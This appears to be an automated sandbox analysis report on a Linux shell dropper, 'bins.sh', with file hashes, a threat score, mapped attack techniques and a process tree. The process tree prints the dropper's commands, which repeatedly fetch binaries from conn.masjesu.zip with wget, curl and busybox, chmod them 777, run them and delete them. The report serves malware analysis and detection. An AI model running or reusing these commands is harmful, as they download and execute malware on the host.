3bb79a5bd1a8e0548a225109910467ec9ecb287c8291eb288ea74e8ed29b7828

Analysis

max time kernel
78s
max time network
106s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
12/12/2024, 12:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample241212-pxmapatrf1
SHA256 3bb79a5bd1a8e0548a225109910467ec9ecb287c8291eb288ea74e8ed29b7828
MD5 4eeee43fd305305d61c992653e5e65e8
SHA1 5c861d8a3b5835a2db47ddfd575c34f5586bf01f
SHA512 1f05db6753386376861932e1e8c55091d5d9bf7b5947f90d9f559290377af488d597f800c33b2f6377a4c95c7affeffffb97b8765bd2f96b8e20e20953adfd61
SSDEEP 192:t9PH4B9Ku1RWfPEmNnrAmb7K9hqo2EfUpx4vj1RWfPZDnrAQb7K9h42EfUpxzBPe:jPH4B9Ku1RWfPEm5b7K9hqobfUpx4vjs
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
891	chmod
749	chmod
877	chmod
898	chmod
905	chmod
996	chmod
1003	chmod
742	chmod
777	chmod
859	chmod
968	chmod
816	chmod
833	chmod
912	chmod
926	chmod
933	chmod
975	chmod
947	chmod
954	chmod
961	chmod
982	chmod
809	chmod
989	chmod
870	chmod
884	chmod
940	chmod
1010	chmod
919	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
943	wget
967	busybox
978	wget
741	busybox
806	busybox
863	wget
880	wget
923	curl
1000	curl
1002	busybox
887	wget
937	curl
971	wget
849	curl
915	wget
974	busybox
981	busybox
995	busybox
883	busybox
909	curl
922	wget
993	curl
793	curl
869	busybox
925	busybox
944	curl
951	curl
876	busybox
916	curl
953	busybox
748	busybox
783	wget
812	wget
820	curl
874	curl
986	curl
992	wget
895	curl
958	curl
964	wget
985	wget
988	busybox
867	curl
873	wget
888	curl
890	busybox
752	wget
932	busybox
972	curl
950	wget
957	wget
838	wget
886	rm
929	wget
941	hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
942	rm
745	wget
813	curl
936	wget
979	curl
1007	curl
717	wget
773	busybox
885	hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX	curl
File opened for modification	/tmp/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB	curl
File opened for modification	/tmp/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim	curl
File opened for modification	/tmp/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl	curl
File opened for modification	/tmp/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6	curl
File opened for modification	/tmp/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF	curl
File opened for modification	/tmp/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL	curl
File opened for modification	/tmp/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q	curl
File opened for modification	/tmp/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY	curl
File opened for modification	/tmp/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi	curl
File opened for modification	/tmp/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR	curl
File opened for modification	/tmp/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL	curl
File opened for modification	/tmp/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6	curl
File opened for modification	/tmp/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB	curl
File opened for modification	/tmp/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX	curl
File opened for modification	/tmp/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi	curl
File opened for modification	/tmp/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F	curl
File opened for modification	/tmp/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl	curl
File opened for modification	/tmp/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm	curl
File opened for modification	/tmp/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx	curl
File opened for modification	/tmp/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR	curl
File opened for modification	/tmp/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm	curl
File opened for modification	/tmp/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF	curl
File opened for modification	/tmp/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx	curl
File opened for modification	/tmp/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim	curl
File opened for modification	/tmp/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F	curl
File opened for modification	/tmp/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q	curl
File opened for modification	/tmp/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:711
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:715
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - System Network Configuration Discovery
  PID:717
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - System Network Configuration Discovery
  PID:741
- /bin/chmod
  chmod 777 P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  ./P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  - Executes dropped EXE
  PID:743
- /bin/rm
  rm P1s8vpCoB1mh8CMmocaguUUeZt53fULtSB
  2⤵
  PID:744
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - System Network Configuration Discovery
  PID:745
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - System Network Configuration Discovery
  PID:748
- /bin/chmod
  chmod 777 I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  ./I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm I9pvk64al7KI3Uu97n2onzJLmOGvl5OI0Q
  2⤵
  PID:751
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - System Network Configuration Discovery
  PID:752
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:757
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - System Network Configuration Discovery
  PID:773
- /bin/chmod
  chmod 777 lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  ./lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  - Executes dropped EXE
  PID:779
- /bin/rm
  rm lIAQvJv5Nr8iNWgZLhVX3C8ge5evZPbSAY
  2⤵
  PID:782
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - System Network Configuration Discovery
  PID:783
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:793
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - System Network Configuration Discovery
  PID:806
- /bin/chmod
  chmod 777 ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  ./ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  PID:811
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - System Network Configuration Discovery
  PID:812
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  PID:815
- /bin/chmod
  chmod 777 8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  ./8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - Executes dropped EXE
  PID:817
- /bin/rm
  rm 8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  PID:818
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  PID:819
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:820
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  PID:826
- /bin/chmod
  chmod 777 NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  ./NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  - Executes dropped EXE
  PID:834
- /bin/rm
  rm NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  PID:837
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - System Network Configuration Discovery
  PID:838
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  PID:855
- /bin/chmod
  chmod 777 zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  ./zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  PID:862
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - System Network Configuration Discovery
  PID:863
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - System Network Configuration Discovery
  PID:869
- /bin/chmod
  chmod 777 ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - File and Directory Permissions Modification
  PID:870
- /tmp/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  ./ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - Executes dropped EXE
  PID:871
- /bin/rm
  rm ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  PID:872
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - System Network Configuration Discovery
  PID:873
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - System Network Configuration Discovery
  PID:876
- /bin/chmod
  chmod 777 7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  ./7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm 7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  PID:879
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - System Network Configuration Discovery
  PID:880
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:881
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - System Network Configuration Discovery
  PID:883
- /bin/chmod
  chmod 777 hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  ./hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:885
- /bin/rm
  rm hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - System Network Configuration Discovery
  PID:886
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - System Network Configuration Discovery
  PID:887
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - System Network Configuration Discovery
  PID:890
- /bin/chmod
  chmod 777 lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  ./lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm lmCZBbFLG9RaU17w6oVXiCYmE9aGeKXHbl
  2⤵
  PID:893
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  PID:897
- /bin/chmod
  chmod 777 aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  ./aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  - Executes dropped EXE
  PID:899
- /bin/rm
  rm aOpGPSDLkpgTwWBbgq59eOEbwHBasqXSm6
  2⤵
  PID:900
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  PID:901
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  PID:904
- /bin/chmod
  chmod 777 EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  ./EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  PID:907
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  PID:908
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  PID:911
- /bin/chmod
  chmod 777 o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  - File and Directory Permissions Modification
  PID:912
- /tmp/o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  ./o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  - Executes dropped EXE
  PID:913
- /bin/rm
  rm o5s7shuMgD0x99hknm0YcZGrJKNlkrgVwR
  2⤵
  PID:914
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - System Network Configuration Discovery
  PID:915
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:916
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  PID:918
- /bin/chmod
  chmod 777 ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - File and Directory Permissions Modification
  PID:919
- /tmp/ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  ./ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  - Executes dropped EXE
  PID:920
- /bin/rm
  rm ZFMrN9sk3fEdaYQ7kVxGRGug0aQWkR2Uim
  2⤵
  PID:921
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - System Network Configuration Discovery
  PID:922
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:923
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - System Network Configuration Discovery
  PID:925
- /bin/chmod
  chmod 777 8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  ./8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm 8FyyjJjlj9AwIJxaO0vMtHWmh6iN3MkBFm
  2⤵
  PID:928
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - System Network Configuration Discovery
  PID:929
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - System Network Configuration Discovery
  PID:932
- /bin/chmod
  chmod 777 7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  ./7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  - Executes dropped EXE
  PID:934
- /bin/rm
  rm 7oYskmQXuqiE9LbLewRNkemj9qQXgsI3Nx
  2⤵
  PID:935
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - System Network Configuration Discovery
  PID:936
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:937
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  PID:939
- /bin/chmod
  chmod 777 hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - File and Directory Permissions Modification
  PID:940
- /tmp/hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  ./hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:941
- /bin/rm
  rm hqGZD6bxx0BYv6wnoJn14icTmqY3JoLiPi
  2⤵
  - System Network Configuration Discovery
  PID:942
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  - System Network Configuration Discovery
  PID:943
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:944
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  PID:946
- /bin/chmod
  chmod 777 NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  ./NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm NzmZyzdk4TwLfhQiHr9Eiyol1NL8NWU8uF
  2⤵
  PID:949
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - System Network Configuration Discovery
  PID:950
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - System Network Configuration Discovery
  PID:953
- /bin/chmod
  chmod 777 zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - File and Directory Permissions Modification
  PID:954
- /tmp/zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  ./zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  - Executes dropped EXE
  PID:955
- /bin/rm
  rm zLrEEhpWFA1vYOY5ixs1PYsTiDGPsxn6uL
  2⤵
  PID:956
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - System Network Configuration Discovery
  PID:957
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:958
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  PID:960
- /bin/chmod
  chmod 777 ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  ./ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm ImsWPd1Ds6t7G0tnMOnnUgLfrOXT15OeIX
  2⤵
  PID:963
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  - System Network Configuration Discovery
  PID:964
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EbB7WSKQbd7vXu66zfrCGjhwvZhUzHER7F
  2⤵
  - System Network Configuration Discovery
  PID:967
- /bin/chmod
